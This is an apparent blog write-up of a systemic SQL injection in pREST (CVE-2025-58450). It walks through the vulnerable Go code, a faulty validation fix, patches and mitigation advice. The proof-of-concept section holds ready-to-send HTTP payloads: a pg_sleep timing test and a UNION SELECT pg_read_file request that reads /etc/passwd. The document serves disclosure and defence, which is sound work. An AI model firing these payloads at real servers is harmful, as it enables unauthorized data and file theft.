CVE-2025-58450: Critical SQL Injection in pREST Exposes PostgreSQL Databases

So, you've found the perfect tool to slap a RESTful API onto your PostgreSQL database in minutes. It's called pREST, it's written in Go, and it promises to save you tons of boilerplate coding. What could possibly go wrong?

Well, as it turns out, quite a lot. Today, we're diving deep into CVE-2025-58450, a vulnerability so widespread within pREST that it turns this convenient tool into an open invitation for attackers. Grab your coffee, because this is a classic tale of good intentions paving a road to database doom.

TL;DR / Executive Summary

  • CVE: CVE-2025-58450
  • Vulnerability: Systemic SQL Injection
  • Affected Software: pREST versions prior to v2.0.0-rc2
  • Severity: Critical (CVSS score pending, but expect it to be high)
  • Impact: Attackers can execute arbitrary SQL queries by manipulating URL paths, query parameters, and script templates. This allows for complete data exfiltration (including sensitive files like /etc/passwd), data modification, and potential database takeover, especially since the default Docker container runs with a superuser.
  • Mitigation: The core issue is improper construction of SQL queries. A full fix requires a significant overhaul. For now, apply available patches from the official repository, strictly validate all inputs, and consider using a Web Application Firewall (WAF) as a temporary defense layer.

Introduction: The Double-Edged Sword of Convenience

pREST's value proposition is simple and powerful: point it at your PostgreSQL database, and presto, you have a fully functional REST API. For developers on a deadline, this is a dream come true. It automates the tedious process of writing CRUD (Create, Read, Update, Delete) endpoints, letting you focus on the front end or other business logic.

But this dream has a dark side. The very mechanism that makes pREST so dynamic and easy to use is also its Achilles' heel. To build queries on the fly, pREST takes parts of the incoming HTTP request—like the URL path and query parameters—and stitches them together to form a SQL statement.

If you're a security professional, you're probably already wincing. This technique, known as string concatenation, is the original sin of SQL injection. It's like a chef letting a customer write their own ingredients on the order slip and then throwing them directly into the soup without checking if "extra salt" was actually "cyanide." In CVE-2025-58450, we see this fundamental flaw exploited across almost the entire application.

Technical Deep Dive: A Systemic Failure

This isn't a bug in a single, obscure feature. The SQL injection vulnerability in pREST is systemic, meaning the insecure coding pattern is repeated across multiple core functionalities. Let's dissect the main attack vectors.

1. Core Endpoints: The Path to Destruction

The primary way to interact with pREST is through its core API endpoints, which map directly to your database structure: GET /{database}/{schema}/{table}.

The problem lies in how pREST constructs the FROM clause of the SQL query. It takes the database, schema, and table values directly from the URL path and concatenates them.

Here’s a simplified look at the vulnerable Go code:

// adapters/postgres/postgres.go

func (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {
    // User-controlled `database`, `schema`, and `table` are directly embedded!
	return fmt.Sprintf(`%s "%s"."%s"."%s"`, selectStr, database, schema, table)
}

Because there's no sanitization on the schema or table path parameters, an attacker can "break out" of the intended identifier and inject arbitrary SQL.

2. tsquery Predicates: A Search for Trouble

pREST supports PostgreSQL's full-text search using tsquery predicates in the URL. For example: GET /databases?datname:tsquery=prest.

The code responsible for handling this feature directly embeds the user-provided search term into the query string.

// Go code snippet for tsquery handling

case "tsquery":
    // `value` comes directly from the request's query parameter
	tsQuery := fmt.Sprintf(`%s @@ to_tsquery(\'%s\')`, tsQueryField[0], value)
	whereKey = append(whereKey, tsQuery)

An attacker can craft a malicious value to close the to_tsquery function call prematurely and append their own SQL commands.

3. Script Templates: When Good Templates Go Bad

pREST allows users to define complex SQL queries in script files and execute them via the /_QUERIES/ endpoint. It uses Go's text/template library to substitute parameters from the request into the SQL script.

The problem? text/template is designed for HTML and text, not SQL. It performs no context-aware escaping for SQL, meaning any value you insert is rendered literally.

Consider this template (get_todo.read.sql):

SELECT * FROM api.todos WHERE id = {{.todo_id}}

If an attacker sends a request with ?todo_id=2%20or%20true, the executed query becomes:

SELECT * FROM api.todos WHERE id = 2 or true

And just like that, the WHERE clause is bypassed, returning all todos instead of just one.

4. The Flawed Fix: A Valiant but Failed Attempt

What makes this case particularly interesting is that the developers did try to prevent this. A function named chkInvalidIdentifier was implemented to validate inputs. It used an allow-list of characters and, crucially, checked that the number of double quotes (") was even, hoping to prevent attackers from escaping a quoted identifier.

Unfortunately, this was a classic case of a faulty patch. PostgreSQL allows identifiers to be quoted, which lets you construct valid queries without spaces. An attacker could use this to craft a payload that passed the validation checks but was still malicious. It's a great reminder that security is hard, and incomplete fixes can provide a false sense of security.

Proof of Concept: Seeing is Believing

Talk is cheap. Let's demonstrate the impact with a few simple PoCs.

PoC 1: The "Are You Vulnerable?" Test (Time-Based Injection)

This is the safest way to check for the vulnerability. We'll use the pg_sleep() function to make the database wait for 5 seconds before responding. If the server takes 5 seconds longer than usual, you're vulnerable.

The Request:

GET /db001/api"."todos"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1
Host: localhost:3000

The Executed SQL:

SELECT * FROM "db001"."api"."todos" where (select 1 from pg_sleep(5))=1

PoC 2: Stealing System Files (Data Exfiltration)

This is where things get serious. With a superuser connection (common in the default Docker setup), an attacker can read files from the server's filesystem.

The Request:

This payload uses UNION SELECT to inject a query that reads /etc/passwd. Note the clever use of chr(47) to represent /, bypassing URL path parsing restrictions.

GET /db001/api"."todos"%20union%20select%20pg_read_file(chr(47)||"etc"||chr(47)||"passwd"))%20s--/todos?_select=task HTTP/1.1
Host: localhost:3000

The response will contain the contents of the /etc/passwd file. From here, an attacker could hunt for SSH keys, API secrets in environment files, or other sensitive data.

Mitigation and Remediation

Fixing a systemic issue requires a systemic solution. You can't just play whack-a-mole with patches.

  1. Immediate Fixes:

    • Patch! The pREST maintainers have started patching these vulnerabilities. Check the official repository for the latest commits and releases. Commit 47d02b878429 is a key part of the fix, introducing safer handling for parameters and templates.
    • WAF: As a temporary measure, deploy a Web Application Firewall (WAF) with strong SQLi detection rules. This is a bandage, not a cure.
  2. Long-Term Solutions:

    • Embrace Parameterized Queries: The root cause is string concatenation. The code must be refactored to use parameterized queries (prepared statements) for all user-supplied values. This separates the SQL command from the data, making injection impossible.
    • Validate and Quote Identifiers: For dynamic identifiers (table/column names), which can't be parameterized, the only safe approach is strict allow-listing. Validate them against a rigid pattern (e.g., ^[a-zA-Z0-9_]+$) and then safely quote them on the server side. Never let a user supply their own quotes.
    • Secure Templating: The patch for the script template feature was brilliant. It introduced new, secure template functions like sqlVal (for values) and ident (for identifiers). This gives developers the tools to build dynamic queries safely, making security the default, easy path.
  3. Verification:

    • Run the time-based PoC from above. If your application doesn't hang, you've likely mitigated the immediate threat.
    • Conduct a thorough code review, searching for any remaining instances of fmt.Sprintf used to build SQL queries.

Timeline

  • Discovery: Discovered by Doyensec during an independent security review.
  • Patch Availability: A series of fixes began with commit 47d02b878429 on September 6, 2025.
  • Public Disclosure: The advisory GHSA-p46v-f2x8-qp98 was published, with the CVE being assigned for future tracking.

Lessons Learned

  1. Never Trust User Input: This is the golden rule of security, and this CVE is a masterclass in why. Every single piece of data originating from a user must be treated as hostile until proven otherwise.
  2. Convenience Cannot Trump Security: Tools that offer incredible development speed often do so by taking shortcuts. Always question the underlying security model of any framework or library that seems too good to be true.
  3. Security is a Process, Not a Feature: The chkInvalidIdentifier function shows that a "set it and forget it" approach to security doesn't work. Defenses must be layered, robust, and based on proven principles (like parameterized queries), not clever-but-brittle validation rules.

The key takeaway? Don't build SQL with strings. It's a lesson the industry has been learning for over two decades, yet it remains one of the most common and devastating vulnerabilities.

What do you think? Is the pressure to ship fast leading us to repeat the security mistakes of the past?

References and Further Reading

Read more